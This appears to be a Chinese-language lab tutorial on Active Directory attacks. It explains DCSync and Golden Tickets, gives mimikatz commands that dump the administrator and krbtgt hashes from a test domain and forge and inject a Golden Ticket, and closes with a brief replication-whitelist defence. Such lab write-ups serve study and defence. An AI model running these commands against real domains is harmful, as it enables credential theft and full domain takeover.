新年开工快乐~~~

域渗透-DCSync和黄金票据

0x01 概述

krbtgt账户:每个域控制器都有一个”krbtgt”的用户账户,是KDC的服务账户,用来创建票据授予服务(TGS) 加密的密钥。

黄金票据(Golden Ticket):它能让黑客在拥有普通域用户权限和krbtgt hash的情况下,获取域管理员权限。

DCSync:mimikatz中的功能,能够模拟域控制器并从域控制器导出帐户密码hash。

在域内,不同DC之间,每15分钟都会有一次域数据的同步。实现不登录到域控制器上,而获取域控制器数据库中的数据。

在DCSync功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。2015年8月,新版的mimikatz增加了DCSync的功能,该功能可以模仿一个域控DC,从真实的域控中请求数据,如用户的哈希。该功能最大的特点就是在于不用登陆域服务器,即可远程通过域数据同步复制的方式获得想要的用户口令信息。

需要注意的是,DCSync攻击的对象如果是只读域控制器(RODC),则会失效,因为RODC是不能参与复制同步数据到其他DC的。

DCSync的原理非常清晰,利用域控制器之间的数据同步复制:

  • 发现网络中的目标域控制器

  • 通过DRS服务的GetNCChanges接口发起数据同步请求,Directory Replication Service(DRS)Remote Protocol

    GetNCChanges:当一个DC(成为客户端DC)想从其他DC(成为服务端DC)获取数据时,客户端DC会向服务端DC发起一个GetNCChanges请求。回应的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程,毕竟每次回应的数据有限。

默认情况下,只有和Domain Controllers和Enterprise Domain Admins权限能够使用DCSync,但我们可以对域内普通用户添加ACL(Access Control List)实现普通用户调用DCSync导出域内所有用户的hash。

0x02 利用DCSync导出域内用户Hash

利用条件:获得以下任一的权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

利用原理

利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。

获取相应权限后(这里实验的是域内机器win7,域控为win8上,登录的域内用户yhy)

image-20210221165619981

使用mimikatz导出指定域用户的信息(包括哈希)

1
2
lsadump::dcsync /domain:test.yhy /user:administrator /csv
lsadump::dcsync /domain:test.yhy /user:administrator

image-20210221171218395

获得了域内用户的hash后,进一步利用可参考之前的文章:哈希传递攻击

0x03生成黄金票据,获取域管理权限

获取krbtgt(域内默认创建的账号)账户Hash

1
lsadump::dcsync /domain:test.yhy /user:krbtgt /csv

image-20210221223933475

生成黄金票据,并使用

1
2
3
kerberos::golden /krbtgt:8a4f49ff2d2eedf30b5e565e4332d0b5 /admin:administrator /domain:test.yhy /sid:S-1-5-21-2604854395-1602356619-879117556-502 /ticket:administrator.ticket.bin

kerberos::ptt administrator.ticket.bin

image-20210221223253549

提升到域管理权限成功

image-20210221223505092

image-20210221223535054

0x04 防御

DCSync攻击的原理是模拟域控制器发起服务器之间的数据同步复制。最好的防御方法是给控制器设置白名单,在域内,域控制器的数量、IP地址、MAC地址是非常明确清晰的资产,将这些资产设置在允许同步的白名单内。非白名单的IP不允许发生数据同步。